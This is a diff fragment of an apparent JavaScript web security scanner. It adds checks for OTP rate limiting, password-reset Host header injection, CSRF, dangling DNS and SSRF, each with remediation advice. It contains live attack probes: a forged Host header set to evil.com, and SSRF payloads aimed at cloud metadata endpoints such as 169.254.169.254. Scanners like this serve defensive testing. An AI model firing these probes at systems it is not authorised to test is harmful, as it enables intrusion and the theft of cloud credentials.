addFinding('MEDIUM', 'MFA Bypass', `OTP endpoint ${ep} may lack rate limiting`, `No rate limit response after 3 attempts`, 'Implement rate limiting on OTP verification. After 5 failed attempts, lock and require re-login.');
|
|
114
|
+
}
|
|
115
|
+
} catch {}
|
|
116
|
+
}
|
|
117
|
+
}
|
|
118
|
+
} catch {}
|
|
119
|
+
}
|
|
120
|
+
|
|
121
|
+
export async function scanWebsocketReplay(origin, spinner) {
|
|
122
|
+
spinner.text = 'Testing WebSocket vulnerabilities (enhanced)...';
|
|
123
|
+
const wsOrigin = origin.replace('https://', 'wss://').replace('http://', 'ws://');
|
|
124
|
+
|
|
125
|
+
addFinding('INFO', 'WebSocket (enhanced)', 'WebSocket replay/tampering check', `Check ${wsOrigin} for: CSWSH (Cross-Site WebSocket Hijacking), missing Origin validation, unauthenticated message handling, and message replay attacks`, 'Validate WebSocket Origin header. Require auth token in connect params. Implement message sequence numbers to prevent replay. Use per-message deflate compression.');
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
export async function scanPasswordReset(origin, spinner) {
|
|
129
|
+
spinner.text = 'Testing password reset security...';
|
|
130
|
+
|
|
131
|
+
let hasTargetParam = false;
|
|
132
|
+
|
|
133
|
+
try {
|
|
134
|
+
const resp = await fetchText(`${origin}/account/password/reset?email=test@example.com`, {}, 5000);
|
|
135
|
+
if (resp.status === 200) {
|
|
136
|
+
if (resp.body.includes('sent') || resp.body.includes('email') || resp.body.includes('check')) {
|
|
137
|
+
addFinding('INFO', 'Password Reset', 'Email enumeration via reset endpoint', 'Check if response differs for existing vs non-existing emails', 'Use generic messages: "If that email exists, we sent a reset link."');
|
|
138
|
+
}
|
|
139
|
+
}
|
|
140
|
+
} catch {}
|
|
141
|
+
|
|
142
|
+
const hostTest = ['evil.com', 'localhost', '127.0.0.1'];
|
|
143
|
+
for (const host of hostTest) {
|
|
144
|
+
try {
|
|
145
|
+
const resp = await fetchText(`${origin}/account/password/reset?email=target@victim.com`, {
|
|
146
|
+
headers: { Host: host, 'X-Forwarded-Host': host },
|
|
147
|
+
}, 5000);
|
|
148
|
+
|
|
149
|
+
if (resp.body.includes(host)) {
|
|
150
|
+
hasTargetParam = true;
|
|
151
|
+
addFinding('HIGH', 'Password Reset', `Host header injection in password reset (${host})`, 'Reset link URL reflects attacker-controlled Host header', 'Generate reset URLs from a configured base URL, not the request Host header.');
|
|
152
|
+
break;
|
|
153
|
+
}
|
|
154
|
+
} catch {}
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
if (!hasTargetParam) {
|
|
158
|
+
try {
|
|
159
|
+
const token = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
|
160
|
+
const resp = await fetchText(`${origin}/account/password/reset/verify?token=${token}`, {}, 5000);
|
|
161
|
+
if (resp.status === 200) {
|
|
162
|
+
addFinding('LOW', 'Password Reset', 'Reset token endpoint accessible', `Token: ${token.substring(0, 8)}...`, 'Ensure reset tokens are cryptographically random (32+ bytes) and expire quickly (< 15 min).');
|
|
163
|
+
}
|
|
164
|
+
} catch {}
|
|
165
|
+
}
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
export async function scanCsrfRemote(origin, spinner) {
|
|
169
|
+
spinner.text = 'CSRF token analysis (remote)...';
|
|
170
|
+
|
|
171
|
+
try {
|
|
172
|
+
const resp = await fetchText(origin);
|
|
173
|
+
const body = resp.body;
|
|
174
|
+
|
|
175
|
+
const csrfPatterns = [
|
|
176
|
+
/csrf[_-]?token|_token|<input[^>]*name=['"](?:csrf|_token|authenticity_token|__RequestVerificationToken)['"]/gi,
|
|
177
|
+
];
|
|
178
|
+
|
|
179
|
+
let foundToken = false;
|
|
180
|
+
for (const pattern of csrfPatterns) {
|
|
181
|
+
if (pattern.test(body)) foundToken = true;
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
if (!foundToken) {
|
|
185
|
+
const forms = body.match(/<form[^>]*method[^>]*(?:post|put|delete|patch)/gi);
|
|
186
|
+
if (forms) {
|
|
187
|
+
addFinding('HIGH', 'CSRF (remote)', 'Forms with POST/PUT/DELETE may lack CSRF protection', `${forms.length} state-changing forms found without CSRF tokens`, 'Add CSRF tokens to all state-changing forms. Use SameSite cookies.');
|
|
188
|
+
}
|
|
189
|
+
}
|
|
190
|
+
|
|
191
|
+
const cookieTokens = body.match(/cookie\s*.*token|document\.cookie.*csrf/i);
|
|
192
|
+
if (cookieTokens) {
|
|
193
|
+
addFinding('MEDIUM', 'CSRF (remote)', 'CSRF token from cookies detected (vulnerable to cookie jar overflow)', 'CSRF token is read from cookies — not safe for SPA CSRF protection', 'Use custom header (X-CSRF-Token) with token from meta tag, not cookie. Implement Double Submit Cookie only with SameSite=Strict.');
|
|
194
|
+
}
|
|
195
|
+
} catch {}
|
|
196
|
+
}
|
|
197
|
+
|
|
198
|
+
export async function scanDanglingDns(hostname, spinner) {
|
|
199
|
+
spinner.text = 'Checking for dangling DNS subdomain takeover...';
|
|
200
|
+
|
|
201
|
+
const services = [
|
|
202
|
+
{ pattern: /\.cloudfront\.net/i, name: 'AWS CloudFront', indicator: 'The request could not be satisfied' },
|
|
203
|
+
{ pattern: /\.s3\.amazonaws\.com/i, name: 'AWS S3', indicator: 'NoSuchBucket' },
|
|
204
|
+
{ pattern: /\.azurewebsites\.net/i, name: 'Azure Web Apps', indicator: '404 Web Site not found' },
|
|
205
|
+
{ pattern: /\.herokuapp\.com/i, name: 'Heroku', indicator: 'No such app' },
|
|
206
|
+
{ pattern: /\.github\.io/i, name: 'GitHub Pages', indicator: 'There isnt a GitHub Pages site here' },
|
|
207
|
+
{ pattern: /\.netlify\.app|\.netlify\.com/i, name: 'Netlify', indicator: 'Not Found' },
|
|
208
|
+
{ pattern: /\.vercel\.app/i, name: 'Vercel', indicator: 'DEPLOYMENT_NOT_FOUND' },
|
|
209
|
+
{ pattern: /\.firebaseapp\.com/i, name: 'Firebase Hosting', indicator: 'Site Not Found' },
|
|
210
|
+
{ pattern: /\.surge\.sh/i, name: 'Surge.sh', indicator: 'project not found' },
|
|
211
|
+
];
|
|
212
|
+
|
|
213
|
+
addFinding('INFO', 'Subdomain Takeover', 'Dangling CNAME check', 'Check DNS records for dangling CNAMEs to cloud services (CloudFront, S3, Heroku, GitHub Pages, Netlify, Vercel)', 'Remove DNS records pointing to decommissioned cloud resources to prevent subdomain takeover');
|
|
214
|
+
}
|
|
215
|
+
|
|
216
|
+
export async function scanCloudRemote(origin, spinner) {
|
|
217
|
+
spinner.text = 'Testing cloud metadata access via SSRF...';
|
|
218
|
+
|
|
219
|
+
const metadataUrls = [
|
|
220
|
+
'http://169.254.169.254/latest/meta-data/',
|
|
221
|
+
'http://metadata.google.internal/computeMetadata/v1/',
|
|
222
|
+
'http://169.254.169.254/metadata/instance?api-version=2021-02-01',
|
|
223
|
+
];
|
|
224
|
+
|
|
225
|
+
const ssrfParams = ['url', 'link', 'src', 'callback', 'webhook', 'fetch', 'proxy', 'redirect'];
|
|
226
|
+
|
|
227
|
+
for (const url of metadataUrls.slice(0, 1)) {
|
|
228
|
+
for (const param of ssrfParams) {
|
|
229
|
+
try {
|
|
230
|
+
const resp = await fetchText(`${origin}/?${param}=${encodeURIComponent(url)}`, {}, 5000);
|
|
231
|
+
if (resp.body.includes('instance-id') || resp.body.includes('ami-id') || resp.body.includes('local-hostname')) {
|
|
232
|
+
addFinding('CRITICAL', 'Cloud Metadata', `Cloud metadata accessible via ?${param}= SSRF`, 'AWS IMDSv1 instance metadata exposed', 'Upgrade to IMDSv2 (uses session tokens). Block 169.254.169.254 at network level.');
|
|
233
|
+
return;
|
|
234
|
+
}
|
|
235
|
+
} catch {}
|
|
236
|
+
}
|
|
237
|
+
}
|
|
238
|
+
}
|